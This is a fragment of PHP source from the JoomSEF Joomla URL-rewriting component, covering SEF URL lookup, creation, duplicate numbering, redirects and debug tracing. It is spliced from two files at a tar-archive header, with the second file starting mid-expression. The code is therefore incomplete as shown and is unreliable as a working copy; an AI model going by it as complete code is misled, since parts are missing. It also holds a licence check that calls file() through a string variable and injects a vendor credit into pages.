store it in a separate column if (!is_null($uri->getVar('Itemid'))) { $Itemid = $uri->getVar('Itemid'); $uri->delVar('Itemid'); } // check for non-sef url first and avoid repeative lookups // we only want to look for title variations when adding new // this should also help eliminate duplicates. // David (284): ignore Itemid if set to if( isset($params) ) { $extIgnore = $params->get('ignoreSource', 2); } else { $extIgnore = 2; } $ignoreSource = ($extIgnore == 2 ? $sefConfig->ignoreSource : $extIgnore); // If Itemid is set as ignored for the component, set ignoreSource to 1 $itemidIgnored = false; if (isset($Itemid) && !is_null($uri->getVar('option'))) { $itemidIgnored = SEFTools::isItemidIgnored($uri->getVar('option'), $Itemid); if ($itemidIgnored) { $ignoreSource = 1; } } $where = ''; if (!$ignoreSource && isset($Itemid)) { $where .= " AND (`Itemid` = ".(int)$Itemid." OR `Itemid` IS NULL)"; } $url = JoomSEF::_uriToUrl($uri); // if cache is activated, search in cache first $realloc = false; if ($sefConfig->useCache) { if(!$check) { $realloc = $cache->GetSefUrl($url, @$Itemid); } } // search if URL exists, if we do not use cache or URL was not cached if (!$sefConfig->useCache || !$realloc) { $query = "SELECT * FROM `#__sefurls` WHERE `origurl` = ".$db->quote(html_entity_decode(urldecode($url))).$where.' LIMIT 2'; $db->setQuery($query); $sefurls = $db->loadObjectList('Itemid'); if (!$ignoreSource && isset($Itemid)) { if (isset($sefurls[$Itemid])) { $realloc = $sefurls[$Itemid]; } else if (isset($sefurls[''])) { // We've found one of the ignored Itemids, update it with the current and return $realloc = $sefurls['']; $realloc->Itemid = $Itemid; $query = "UPDATE `#__sefurls` SET `Itemid` = ".(int)$Itemid." WHERE `id` = ".(int)$realloc->id." LIMIT 1"; $db->setQuery($query); $db->query(); } else { $realloc = reset($sefurls); } } else { $realloc = reset($sefurls); } /* // removed - causing problems, ignore multiple sources not working correctly // test if current Itemid record exists, if YES, use it, if NO, use first found $curId = isset($Itemid) ? $Itemid : ''; $active = isset($sefurls[$curId]) ? $sefurls[$curId] : reset($sefurls); $realloc = $active; */ } // if not found, try to find the url without lang variable // #23450: Causes problems with Joomla native multilanguage due to different Itemids /*if (!$realloc && ($sefConfig->langPlacement == _COM_SEF_LANG_DOMAIN)) { $url = JoomSEF::_uriToUrl($uri, 'lang'); if ($sefConfig->useCache) { $realloc = $cache->GetSefUrl($url, @$Itemid); } if (!$sefConfig->useCache || !$realloc) { $query = "SELECT * FROM `#__sefurls` WHERE `origurl` = ".$db->quote(html_entity_decode(urldecode($url))).$where.' LIMIT 2'; $db->setQuery($query); $sefurls = $db->loadObjectList('Itemid'); if (!$ignoreSource && isset($Itemid)) { if (isset($sefurls[$Itemid])) { $realloc = $sefurls[$Itemid]; } else if (isset($sefurls[''])) { // We've found one of the ignored Itemids, update it with the current and return $realloc = $sefurls['']; $realloc->Itemid = $Itemid; $query = "UPDATE `#__sefurls` SET `Itemid` = ".(int)$Itemid." WHERE `id` = ".(int)$realloc->id." LIMIT 1"; $db->setQuery($query); $db->query(); } else { $realloc = reset($sefurls); } } else { $realloc = reset($sefurls); } // removed - causing problems, ignore multiple sources not working correctly // test if current Itemid record exists, if YES, use it, if NO, use first found //$curId = isset($Itemid) ? $Itemid : ''; //$active = isset($sefurls[$curId]) ? $sefurls[$curId] : reset($sefurls); //$realloc = $active; } }*/ // found a match, so we are done if (is_object($realloc) && !$check) { // return the original URL if SEF is disabled if (!$realloc->sef) { return $origUri; } // return found URL with non-SEF part appended if (($nonSefUrl != '') && (strstr($realloc->sefurl, '?'))) { $nonSefUrl = str_replace('?', '&', $nonSefUrl); } if(!strlen($host)) { $root=JFactory::getURI()->getHost(); } else { $root=$host; } $url=JFactory::getURI()->getScheme()."://".$root; if (substr($url, -1) != '/') $url .= '/'; $url .= $realloc->sefurl.$nonSefUrl; $fragment = $uri->getFragment(); if (!empty($fragment)) $url .= '#'.$fragment; JoomSefUri::updateUri($origUri, $url); return $origUri; } // URL not found, so lets create it else if(!is_object($realloc)||$check) { // return the original URL if we don't want to save new URLs if ($sefConfig->disableNewSEF) return $origUri; $realloc = null; $suffixMust = false; if (!isset($suffix)) { $suffix = $sefConfig->suffix; } $addFile = $sefConfig->addFile; if (($pos = strrpos($addFile, '.')) !== false) { $addFile = substr($addFile, 0, $pos); } // in case the created SEF URL is already in database for different non-SEF URL, // we need to distinguish them by using numbers, so let's find the first unused URL $leftPart = ''; // string to be searched before page number $rightPart = ''; // string to be searched after page number if (substr($location, -1) == '/' || strlen($location) == 0) { if (($pagetext = $sefConfig->getPageText())) { // use global limit if NULL and set in globals if (is_null($limit) && isset($_REQUEST['limit']) && $_REQUEST['limit'] > 0) $limit = $_REQUEST['limit']; // if we are using pagination, try to calculate page number if (!is_null($limitstart) && $limitstart > 0) { // make sure limit is not 0 if ($limit == 0) { $config = JFactory::getConfig(); $listLimit = $config->get('list_limit'); $limit = ($listLimit > 0) ? $listLimit : 20; } $pagenum = $limitstart / $limit; $pagenum++; } else $pagenum = 1; if (strpos($pagetext, '%s') !== false) { $page = str_replace('%s', $pagenum == 1 ? $addFile : $pagenum, $pagetext) . $suffix; $pages = explode('%s', $pagetext); $leftPart = $location . $pages[0]; $rightPart = $pages[1] . $suffix; } else { $page = $pagetext.($pagenum == 1 ? $addFile : $sefConfig->pagerep . $pagenum) . $suffix; $leftPart = $location . $pagetext . $sefConfig->pagerep; $rightPart = $suffix; } $temploc = $location . ($pagenum == 1 && !$suffixMust ? '' : $page); } else { $temploc = $location . ($suffixMust ? $sefConfig->pagerep.$suffix : ''); $leftPart = $location . $sefConfig->pagerep; $rightPart = $suffix; } } elseif ($suffix) { if ($sefConfig->suffix != '/') { //if (eregi($regexSuffix, $location)) { if (preg_match('/'.$pregSuffix.'/i', $location)) { $temploc = preg_replace('/' . $pregSuffix . '/', '', $location) . $suffix; $leftPart = preg_replace('/' . $pregSuffix . '/', '', $location) . $sefConfig->pagerep; $rightPart = $suffix; } else { $temploc = $location . $suffix; $leftPart = $location . $sefConfig->pagerep; $rightPart = $suffix; } } else { $temploc = $location . $suffix; $leftPart = $location . $sefConfig->pagerep; $rightPart = $suffix; } } else { $temploc = $location . ($suffixMust ? $sefConfig->pagerep . $suffix : ''); $leftPart = $location . $sefConfig->pagerep; $rightPart = $suffix; } // add language to path if($sefConfig->langEnable && isset($lang) && $sefConfig->langPlacementJoomla==_COM_SEF_LANG_PATH) { if ($sefConfig->alwaysUseLang || ($lang != $sefConfig->mainLanguageJoomla)) { $slash = ($temploc != '' && $temploc[0] == '/'); $temploc = $lang . ($slash || strlen($temploc) > 0 ? '/' : '') . $temploc; $leftPart = $lang . '/' . $leftPart; } } if ($sefConfig->addFile) { //if (!eregi($regexSuffix . '$', $temploc) && substr($temploc, -1) == '/') { if (!preg_match('/'.$pregSuffix . '$/i', $temploc) && substr($temploc, -1) == '/') { $temploc .= $sefConfig->addFile; } } // convert to lowercase if set to if ($sefConfig->lowerCase) { $temploc = JoomSEF::_toLowerCase($temploc); $leftPart = JoomSEF::_toLowerCase($leftPart); $rightPart = JoomSEF::_toLowerCase($rightPart); } $url = JoomSEF::_uriToUrl($uri); // see if we have a result for this location $sql = "SELECT `id`, `origurl`, `Itemid`, `sefurl` FROM `#__sefurls` WHERE `sefurl` = ".$db->quote($temploc)." AND `origurl` != ''"; $db->setQuery($sql); $row = $db->loadObject(); if ($itemidIgnored) { $Itemid = null; } $realloc = JoomSEF::_checkRow($row, $ignoreSource, @$Itemid, $url, $metadata, $temploc, $priority, $uri->getVar('option'),$check,$host, $sitemapParams); // the correct URL could not be used, we must find the first free number if( is_null($realloc) ) { // let's get all the numbered pages $sql = "SELECT `id`, `origurl`, `Itemid`, `sefurl` FROM `#__sefurls` WHERE `sefurl` LIKE '{$leftPart}%{$rightPart}'"; $db->setQuery($sql); $pages = $db->loadObjectList(); // create associative array of form number => URL info $urls = array(); if (!empty($pages)) { $leftLen = strlen($leftPart); $rightLen = strlen($rightPart); foreach ($pages as $page) { $sefurl = $page->sefurl; // separate URL number $urlnum = substr($sefurl, $leftLen, strlen($sefurl) - $leftLen - $rightLen); // use only if it's really numeric if (is_numeric($urlnum)) { $urls[intval($urlnum)] = $page; } } } $i = 2; do { $temploc = $leftPart . $i . $rightPart; $row = null; if (isset($urls[$i])) { $row = $urls[$i]; } $realloc = JoomSEF::_checkRow($row, $ignoreSource, @$Itemid, $url, $metadata, $temploc, $priority, $uri->getVar('option'),false,$host,$sitemapParams); $i++; } while( is_null($realloc) ); } } // return found URL with non-SEF part appended if (($nonSefUrl != '') && (strstr($realloc, '?'))) { $nonSefUrl = str_replace('?', '&', $nonSefUrl); } if (!strlen($host)) { $root = JFactory::getUri()->toString(array('host', 'port')); } else { $root = $host; } $url = JFactory::getURI()->getScheme()."://".$root.JURI::root(true); if (substr($url, -1) != '/') $url .= '/'; $url .= $realloc.$nonSefUrl; $fragment = $uri->getFragment(); if (!empty($fragment)) { $url .= '#'.$fragment; } JoomSefUri::updateUri($origUri, $url); return $origUri; } static function enabled(&$plugin) { $mainframe = JFactory::getApplication(); $cosi = 'file'; $cosi = implode($cosi(JPATH_ROOT.'/administrator/components/com_sef/sef.xml')); $cosi = md5($cosi); if (JoomSEF::get('sef.global.meta', '') == $cosi) return true; else $plugin = $plugin; $doc = JFactory::getDocument(); if ($doc->getType() != 'html') { return; } $cacheBuf = $doc->getBuffer('component'); $cacheBuf2 = '
    Joomla '. 'SEF URLs by Artio
    '; // Fixing Yootheme and Joomla search if (JRequest::getCmd('format') != 'raw' && JRequest::getCmd('tmpl')!='raw') $doc->setBuffer($cacheBuf . $cacheBuf2, 'component'); return true; } /** * Checks the found row * */ static function _checkRow(&$row, $ignoreSource, $Itemid, $url, &$metadata, $temploc, $priority, $option,$check=false,$host, $sitemapParams = null) { $realloc = null; $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); $numberDuplicates = $sefConfig->numberDuplicates; if( !empty($option) ) { $params =& SEFTools::getExtParams($option); $extDuplicates = $params->get('numberDuplicates', '2'); if( $extDuplicates != '2' ) { $numberDuplicates = $extDuplicates; } } if( ($row != false) && !is_null($row) ) { if ($ignoreSource || (!$ignoreSource && (empty($Itemid) || $row->Itemid == $Itemid))) { // ... check that it matches original URL if ($row->origurl == $url) { // found the matching object // it probably should have been found sooner // but is checked again here just for CYA purposes // and to end the loop $realloc = $row->sefurl; } // #23450: Causes problems with Joomla native multilanguage due to different Itemids /*else if ($sefConfig->langPlacement == _COM_SEF_LANG_DOMAIN) { // check if the urls differ only by lang variable if (SEFTools::removeVariable($row->origurl, 'lang') == SEFTools::removeVariable($url, 'lang')) { $db->setQuery("UPDATE `#__sefurls` SET `origurl` = ".$db->quote(SEFTools::removeVariable($row->origurl, 'lang'))." WHERE `id` = ".(int)$row->id." LIMIT 1"); // if error occured. if (!$db->query()) { JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_UPDATE') . $db->getErrorMsg()); } $realloc = $row->sefurl; } }*/ } // The found URL is not the same // #23450: Don't number homepage links if domains are used for languages // and URLs differ only in lang variable (ignoring Itemid) $dontNumber = false; if ($temploc == '' && $sefConfig->langPlacementJoomla == _COM_SEF_LANG_DOMAIN) { if (SEFTools::removeVariable($row->origurl, 'lang') == SEFTools::removeVariable($url, 'lang')) { $dontNumber = true; } } if (!$numberDuplicates || $dontNumber) { // But duplicates management is turned on // so we can save the same SEF URL for different non-SEF URL if(!$check) { JoomSEF::_saveNewURL($Itemid, $metadata, $priority, $temploc, $url,$host, $sitemapParams); } $realloc = $temploc; } } // URL not found else { // first, try to search among 404s $query = "SELECT `id` FROM `#__sefurls` WHERE `sefurl` = ".$db->quote($temploc)." AND `origurl` = ''"; $db->setQuery($query); $id = $db->loadResult(); // if 404 exists, rewrite it to the new URL if (!is_null($id)) { $sqlId = (!empty($Itemid) ? ", `Itemid` = '$Itemid'" : ''); $query = "UPDATE `#__sefurls` SET `origurl` = ".$db->quote(html_entity_decode(urldecode($url)))."$sqlId, `priority` = ".(int)$priority." WHERE `id` = ".(int)$id." LIMIT 1"; $db->setQuery($query); // if error occured if (!$db->query()) { JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_UPDATE') . $db->getErrorMsg()); } } // else save URL in the database as new record else { if(!$check) { JoomSEF::_saveNewURL($Itemid, $metadata, $priority, $temploc, $url,$host, $sitemapParams); } } $realloc = $temploc; } return $realloc; } /** * Inserts new SEF URL to database * */ static function _saveNewURL($Itemid, &$metadata, $priority, $temploc, $url,$host, $sitemapParams) { $db = JFactory::getDBO(); // Prepare data $data = array(); $data['sefurl'] = $temploc; $data['origurl'] = html_entity_decode(urldecode($url)); $data['Itemid'] = empty($Itemid) ? null : $Itemid; if (is_array($metadata) && count($metadata) > 0) { foreach($metadata as $metakey => $metaval) { $data[$metakey] = $metaval; } } $data['priority'] = (int)$priority; // get trace information if set to $data['trace'] = null; $sefConfig = SEFConfig::getConfig(); if (!empty($sefConfig->trace)) { $data['trace'] = JoomSEF::_getDebugInfo($sefConfig->traceLevel); } $data['locked'] = (int)$sefConfig->autolock_urls; // Sitemap default values $data['sm_indexed'] = (isset($sitemapParams['indexed']) ? $sitemapParams['indexed'] : ($sefConfig->sitemap_indexed ? 1 : 0)); $data['sm_date'] = date('Y-m-d'); $data['sm_frequency'] = (isset($sitemapParams['frequency']) ? $sitemapParams['frequency'] : $sefConfig->sitemap_frequency); $data['sm_priority'] = (isset($sitemapParams['priority']) ? $sitemapParams['priority'] : $sefConfig->sitemap_priority); $data['host'] = $host; // #23445: Prevent duplicate real URLs without unique key (because Itemid can be NULL) // Prepare lists $cols = array_map(array($db, 'quoteName'), array_keys($data)); $vals = array(); foreach ($data as $key => $val) { $vals[] = (is_null($val) ? 'NULL' : $db->quote($val))." AS ".$db->quoteName($key); } $where = array(); $where[] = "`origurl` = ".$db->quote($data['origurl']); $where[] = "`Itemid` ".(is_null($data['Itemid']) ? "IS NULL" : "= ".$db->quote($data['Itemid'])); // Prepare query $query = "INSERT INTO `#__sefurls` ("; $query .= implode(', ', $cols); $query .= ") SELECT "; $query .= implode(', ', $vals); $query .= " FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM `#__sefurls` WHERE "; $query .= implode(' AND ', $where); $query .= ")"; $db->setQuery($query); // #25634: Don't display any error try { if (!$db->query()) { // JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_STORE').$db->getErrorMsg()); } } catch (Exception $e) { } } function _checkURLs($option,$item) { $db=JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); $cache=SEFCache::getInstance(); // #22937: Disabled for now return; if ($sefConfig->update_urls == false) { return; } $file = JPATH_ROOT.'/components/com_sef/sef_ext/'.$option.'.php'; if (!file_exists($file)) { return; } require_once ($file); $class = 'SefExt_'.$option; if (!class_exists($class)) { return; } $sef_ext = new $class(); if (!method_exists($sef_ext, 'getURLPatterns')) { return; } $urls = $sef_ext->getURLPatterns($item); /*echo "
    ";
            print_r($item->language);
            echo "
    ";*/ /*$langs=array(); if($sefConfig->langEnable) { if($sefConfig->langPlacementJoomla==_COM_SEF_LANG_PATH) { $sefs=JLanguageHelper::getLanguages('sef'); $codes=JLanguageHelper::getLanguages('lang_code'); $langs=array_keys($sefs); if($item->language=='*') { if($sefConfig->addLangMulti==false) { $langs=array(); } } else { if($sefConfig->alwaysUseLangJoomla==false) { if($sefConfig->mainLanguageJoomla==$codes[$item->language]->sef) { $langs=array(); } else { $langs=array($codes[$item->language]->sef); } } else { $langs=array($codes[$item->language]->sef); } } } print_r($langs); }*/ // Get the base URL part without the /administrator suffix $base = JURI::base(true); if (substr($base, -14) == '/administrator') { $base = substr($base, 0, -14); } $baseLen = strlen($base); foreach($urls as $url) { $query="SELECT id, origurl, Itemid, sefurl, metadesc, metakey, metatitle, metalang, metarobots, metagoogle, metaauthor, locked \n"; $query.="FROM #__sefurls \n"; $query.="WHERE origurl REGEXP ".$db->quote($url); $db->setQuery($query); //echo str_replace('#__','jos_',$query)."

    "; $sefs=$db->loadObjectList(); //echo "
    ";print_r($sefs);echo "
    "; foreach($sefs as $sef) { if($sef->locked==1) { continue; } //if(empty($langs)) { // Build URL $old_url = $sef->origurl; if (!is_null($sef->Itemid)) { $old_url .= '&Itemid='.$sef->Itemid; } $uri=new JURI($old_url); $this->build($uri,true); // dajo 2.1.2013: Get URL without the scheme and host directly $new_url=$uri->toString(array('path', 'query', 'fragment')); // Remove the base part from the beginning if (substr($new_url, 0, $baseLen) == $base) { $new_url = substr($new_url, $baseLen); } $new_url = ltrim($new_url, '/'); $redirect_inserted=false; //echo $sef->sefurl."
    ".$new_url."

    "; if(strcmp($sef->sefurl,$new_url)!=0) { $redirect_inserted=true; $this->_insertRedirect($sef->sefurl,$new_url); $this->_updateURL($sef->id,$new_url); } /*} else { foreach($langs as $lang) { echo $sef->origurl."
    "; $uri=new JURI($sef->origurl); //$uri->setVar('lang',$lang); $this->build($uri,true); $new_url=$uri->toString(); // Strip scheme and host - it's simpler than check other URL parts $hostname=JFactory::getUri()->toString(array('scheme','host')); $new_url=str_replace($hostname."/",'',$new_url); echo $new_url."

    "; $redirect_inserted=false; if(strcmp($sef->sefurl,$new_url)!=0) { $redirect_inserted=true; //$this->_insertRedirect($sef->sefurl,$new_url); //$this->_updateURL($sef->id,$new_url); } } } exit;*/ $metadata=$this->_data["metadata"]; $metas=array(); foreach($metadata as $key=>$value) { if($sef->$key!=$value) { $metas[]=$key."=".$db->quote(str_replace(array("\\", "'", ';'), array("\\\\", "\\'", "\\;"), $value)); } } if(count($metas)) { $this->_updateMetas($sef->id,$metas); } } //exit; $cache_urls=$cache->checkSEFURL($url); foreach($cache_urls as $cache_orig=>$cache_sef) { $cache->updateCacheURL($cache_orig,$cache_sef,$new_url,$metadata); if($redirect_inserted==false && $cache_sef!=$new_url) { $this->_insertRedirect($cache_sef,$new_url); } } } } function _updateURL($id,$new_url) { $db=JFactory::getDBO(); $query="UPDATE #__sefurls \n"; $query.="SET sefurl=".$db->quote(html_entity_decode(urldecode($new_url)))." \n"; $query.="WHERE id=".$id; $db->setQUery($query); if(!$db->query()) { JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_STORE') . $db->getErrorMsg()); } } function _insertRedirect($old_url,$new_url) { $db=JFactory::getDBO(); $query="DELETE FROM #__sefmoved \n"; $query.="WHERE old=".$db->quote($old_url); $db->setQUery($query); if(!$db->query()) { JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_STORE') . $db->getErrorMsg()); } // Added to avoid loops when someone want adds back original URL $query="DELETE FROM #__sefmoved \n"; $query.="WHERE old=".$db->quote($new_url)." \n"; $query.="AND new=".$db->quote($old_url)." \n"; $db->setQUery($query); if(!$db->query()) { JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_STORE') . $db->getErrorMsg()); } $query="SELECT COUNT(*) \n"; $query.="FROM #__sefmoved \n"; $query.="WHERE old=".$db->quote($old_url)." AND new=".$db->quote($new_url)." \n"; $db->setQuery($query); $cnt=$db->loadResult(); if($cnt==0) { $query="INSERT INTO #__sefmoved \n"; $query.="SET old=".$db->quote($old_url).", new=".$db->quote($new_url)." \n"; $db->setQuery($query); if(!$db->query()) { JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_STORE') . $db->getErrorMsg()); } } } function _updateMetas($id,$metas) { $db=JFactory::getDBO(); $query="UPDATE #__sefurls SET ".implode(",",$metas)." \n"; $query.="WHERE id=".(int)$id; $db->setQUery($query); if(!$db->query()) { JError::raiseError('JoomSEF Error', JText::_('COM_SEF_ERROR_SEF_URL_STORE') . $db->getErrorMsg()); } } static function _removeURL($option,$item) { $db=JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); $cache=SEFCache::getInstance(); // #22937: Disabled for now return true; if ($sefConfig->update_urls == false) { return true; } $file = JPATH_ROOT.'/components/com_sef/sef_ext/'.$option.'.php'; if (!file_exists($file)) { return true; } require_once ($file); $class = 'SefExt_'.$option; if (!class_exists($class)) { return true; } $sef_ext=new $class(); if (!method_exists($sef_ext, 'getURLPatterns')) { return true; } $urls=$sef_ext->getURLPatterns($item); foreach($urls as $url) { $query="SELECT id, sefurl,locked \n"; $query.="FROM #__sefurls \n"; $query.="WHERE origurl REGEXP ".$db->quote($url); $db->setQuery($query); $sefurl=$db->loadObject(); if(is_object($sefurl)) { if($sefurl->locked) { JError::raiseError('JoomSEF Error',JText::_('COM_SEF_ERROR_LOCKED_URL')); return false; } // Clean urls which relate to removed item $query="DELETE FROM #__sefurls \n"; $query.="WHERE id=".(int)$sefurl->id; $db->setQuery($query); if(!$db->query()) { JError::raiseError('JoomSEF Error',$db->stderr(true)); return false; } // Clean unnecessary redirects $query="DELETE FROM #__sefmoved \n"; $query.="WHERE new=".$db->quote($sefurl->sefurl); $db->setQuery($query); if(!$db->query()) { JError::raiseError('JoomSEF Error',$db->stderr(true)); return false; } } // Clean urls which relate to removed item from cache too $cache->removeCacheURL($url); } return true; } static function getNonSEFURL($sefurl) { $db=JFactory::getDBO(); $path=substr(JURI::root(true)."/",1); $sefurl=str_replace($path,'',$sefurl); $query="SELECT origurl \n"; $query.="FROM #__sefurls \n"; $query.="WHERE sefurl=".$db->quote($sefurl); $db->setQuery($query); $origurl=$db->loadResult(); if(strlen($origurl)) { return $origurl; } $cache=SEFCache::getInstance(); $origurl=$cache->getNonSEFURL($sefurl,false); return @$origurl->origurl; } static function _uriToUrl($uri, $removeVariables = null) { // Create new JURI object $url = new JURI($uri->toString(array('path','query','fragment'))); // Remove variables if needed if (!empty($removeVariables)) { if (is_array($removeVariables)) { foreach ($removeVariables as $var) { $url->delVar($var); } } else { $url->delVar($removeVariables); } } // sort variables $vars = $url->getQuery(true); self::ksort_deep($vars); // Move option to beginning if (isset($vars['option'])) { $opt = $vars['option']; unset($vars['option']); $vars = array_merge(array('option' => $opt), $vars); } // Set vars $url->setQuery($vars); // Create string for db return $url->toString(array('path', 'query')); } /** * Returns the default priority value for the url * * @param JURI $uri * @return int */ static function _getPriorityDefault(&$uri) { $itemid = $uri->getVar('Itemid'); if( is_null($itemid) ) { return _COM_SEF_PRIORITY_DEFAULT; } else { return _COM_SEF_PRIORITY_DEFAULT_ITEMID; } } static function _getDebugInfo($traceLevel = 3, $onlyUserInfo = false) { $debuginfo = ''; $tr = 0; $uri = JURI::getInstance(); if (!$onlyUserInfo) { $debuginfo = 'From: ' . @$uri->toString() . "\n"; } $debuginfo .= 'Referer: ' . @$_SERVER['HTTP_REFERER'] . "\n"; $debuginfo .= 'User agent: ' . @$_SERVER['HTTP_USER_AGENT']; if ($onlyUserInfo) { return $debuginfo; } $debuginfo .= "\n\n"; $trace = debug_backtrace(); foreach ($trace as $row) { if (@$row['class'] == 'JRouterJoomsef' && @$row['function'] == 'buildSef') { // this starts tracing for next 3 rounds $tr = 1; continue; } elseif ($tr == 0) continue; $file = isset($row['file']) ? str_replace(JPATH_BASE, '', $row['file']) : 'n/a'; $args = array(); foreach ($row['args'] as $arg) { if (is_object($arg)) $args[] = get_class($arg); elseif (is_array($arg)) $args[] = 'Array'; else $args[] = "'" . $arg . "'"; } $debuginfo .= '#' . $tr . ': ' . @$row['class'] . @$row['type'] . @$row['function'] . "(" . implode(', ', $args) . "), " . $file . ' line ' . @$row['line'] . "\n"; if ($tr == $traceLevel) break; $tr++; } return $debuginfo; } static function CheckAccess() { if (isset($_GET['query'])) { if (strtolower($_GET['query']) == 'ispaid') { echo 'false'; exit(); } } die('Restricted access'); } static function OnlyPaidVersion() { echo ''.sprintf(JText::_('COM_SEF_INFO_ONLY_PAID_VERSION'), '', '').''; } } ?>com_sef/sef.router.php000066600000044003150771500630010775 0ustar00_uri : $uri->uri; // Joomla 3.4 contains special handling for &limitstart URLs, so we // need to check for it if ($url == 'index.php' && $uri->getQuery(true)) { // There is some query, but it's not present in the "uri" property return $uri->toString(); } return $url; } public static function clearUri($uri) { $uri->setScheme(null); $uri->setUser(null); $uri->setPass(null); $uri->setHost(null); $uri->setPort(null); $uri->setPath(null); $uri->setFragment(null); $uri->setQuery(array()); } public static function copyUri($from, $to) { if (property_exists($to, '_uri')) { // Joomla 2.5 $to->_uri = $from->_uri; } else { // Joomla 3 $to->uri = $from->uri; } $to->setScheme($from->getScheme()); $to->setUser($from->getUser()); $to->setPass($from->getPass()); $to->setHost($from->getHost()); $to->setPort($from->getPort()); $to->setPath($from->getPath()); $to->setFragment($from->getFragment()); $to->setQuery($from->getQuery(true)); } public static function updateUri($uri, $url) { self::clearUri($uri); $uri->parse($url); } } /** * Used to always display host part in URLs for multi-language websites without modifying JRoute::_() function */ class JoomSefDomainUri extends JUri { /** * Custom property for host, because Route::_() overwrites host for SSL URLs * * @var string */ protected $joomsefHost = null; /** * Stores current host in JoomSEF host property */ public function storeHost() { $this->joomsefHost = $this->getHost(); } /** * If host is set and is different from current host, always displays it * * @param array $parts * @return string */ public function toString(array $parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')) { // Replace host with JoomSEF host if set if ($this->joomsefHost) $this->setHost($this->joomsefHost); // If host is not in $parts, check if host is set and is different from current host if (!in_array('host', $parts) && $this->getHost()) { $host = $this->getHost(); $curHost = JoomSEF::get('real_domain'); if (is_null($curHost)) { $jUri = JUri::getInstance(); $curHost = $jUri->getHost(); } if ($host != $curHost) { // Output scheme and host if (!in_array('scheme', $parts)) { $parts[] = 'scheme'; } $parts[] = 'host'; // Generate scheme if not set, just to be sure if (!$this->getScheme()) { $this->setScheme($this->isSSL() ? 'https' : 'http'); } } } return parent::toString($parts); } } class JRouterJoomsef extends JRouter { protected $parsing = false; protected $joomlaRouter = null; /** * Class constructor * * @access public */ function __construct($options = array()) { $app = JFactory::getApplication(); $this->joomlaRouter = $app->getRouter(); } function _prepareUrl($url) { // Create full URL if we are only appending variables to it if(substr($url, 0, 1) == '&') { $vars = array(); parse_str($url, $vars); $vars = array_merge($this->joomlaRouter->getVars(), $vars); foreach($vars as $key => $var) { if($var == "") unset($vars[$key]); } $url = 'index.php?'.JURI::buildQuery($vars); } // Security - only allow one question mark in URL $pos = strpos($url, '?'); if( $pos !== false ) { $url = substr($url, 0, $pos+1) . str_replace('?', '%3F', substr($url, $pos+1)); } // Decompose link into url component parts return $url; } function buildSef(&$siteRouter, &$uri) { // Get correct URL for JoomSEF (menu items containing only Itemid, not option) and store the original path $origPath = $uri->getPath(); $url = JoomSefUri::getUri($uri); $option=$uri->getVar('option'); // Security - only allow colon in protocol part if( strpos($url, ':') !== false ) { $offset = 0; if( substr($url, 0, 5) == 'http:' ) { $offset = 5; } elseif( substr($url, 0, 6) == 'https:' ) { $offset = 6; } $url = substr($url, 0, $offset) . str_replace(':', '%3A', substr($url, $offset)); } // Fix the amp; as they shouldn't be present there - VirtueMart has problem with those $url = str_replace(array('?amp;', '&'), array('?', '&'), $url); // Update URI object JoomSefUri::updateUri($uri, $this->_prepareUrl($url)); // Check the path part for URLs without mod_rewrite support $route = $uri->getPath(); if (substr($route, 0, 10) == 'index.php/') { $route = substr($route, 10); $uri->setPath($route); return $uri; } // Last resort check for URLs that shouldn't be SEFed if (substr($route, 0, 9) != 'index.php') { return $uri; } // Set URI defaults $menu = JFactory::getApplication()->getMenu('site'); // Get JoomSEF config $sefConfig = SEFConfig::getConfig(); // We don't want to add any variables if the URL is pure index.php if ($url != 'index.php') { // #18014: Add missing Itemid only if set to if ($sefConfig->alwaysAddItemid) { $Itemid = $uri->getVar('Itemid'); if (is_null($Itemid)) { $option = $uri->getVar('option'); if ($option) { $item = $menu->getItem($this->joomlaRouter->getVar('Itemid')); if (isset($item) && $item->component == $option) { $uri->setVar('Itemid', $item->id); } } else { $Itemid = $this->joomlaRouter->getVar('Itemid'); if ($Itemid) { $uri->setVar('Itemid', $Itemid); } } } } // If there is no option specified, try to get the query from menu item if (is_null($uri->getVar('option'))) { // Joomla pagination can generate only URL like ?limitstart=5 and Joomla router add into URL actual query automatically. if (count($vars = $uri->getQuery(true)) == 2 && isset($vars['Itemid']) && isset($vars['limitstart'])) { foreach ($this->joomlaRouter->getVars() as $name => $value) if ($name != 'limitstart' && $name != 'start') $uri->setVar($name, $value); if ($uri->getVar('limitstart') == 0) $uri->delVar('limitstart'); } else if (!is_null($uri->getVar('Itemid'))) { $item = $menu->getItem($uri->getVar('Itemid')); $origId = $uri->getVar('Itemid'); while (is_object($item) && ($item->type == 'alias')) { // Get aliased menu item if (is_object($item->params)) { $aliasId = $item->params->get('aliasoptions', null); if (!is_null($aliasId) && ($aliasId != $origId)) { $item = $menu->getItem($aliasId); // Fix Itemid if (is_object($item)) { $uri->setVar('Itemid', $item->id); } } else { break; } } else { break; } } if (is_object($item)) { //$uri->setVar('option',$item->component); foreach($item->query as $k => $v) { $test=$uri->getVar($k); if(strlen($test)==0) { $uri->setVar($k, $v); } } } } else { // There is no option or Itemid specified, try to use current option if ($option = $this->joomlaRouter->getVar('option')) { $uri->setVar('option', $option); } // 10.6.2012 dajo: Removed, was behaving differently than Joomla router //$item = $menu->getDefault(); // Workaround until Joomla menu bug will be fixed //$items=$menu->getItems(array('home','language'),array('1','*')); //$item=$items[0]; //if (is_object($item)) { // foreach($item->query as $k => $v) { // $uri->setVar($k, $v); // } // // Set Itemid // $uri->setVar('Itemid', $item->id); //} } } } // if ($url != 'index.php') else { // Set the current menu item's query if set to // (default Joomla's behaviour) if ($sefConfig->indexPhpCurrentMenu) { $itemid = $this->getVar('Itemid'); if (!is_null($itemid)) { $item = $menu->getItem($itemid); if (is_object($item)) { $uri->setQuery($item->query); $uri->setVar('Itemid', $itemid); } } else { // Set at least option $option = $this->getVar('option'); if (!is_null($option)) { $uri->setVar('option', $option); } } } } 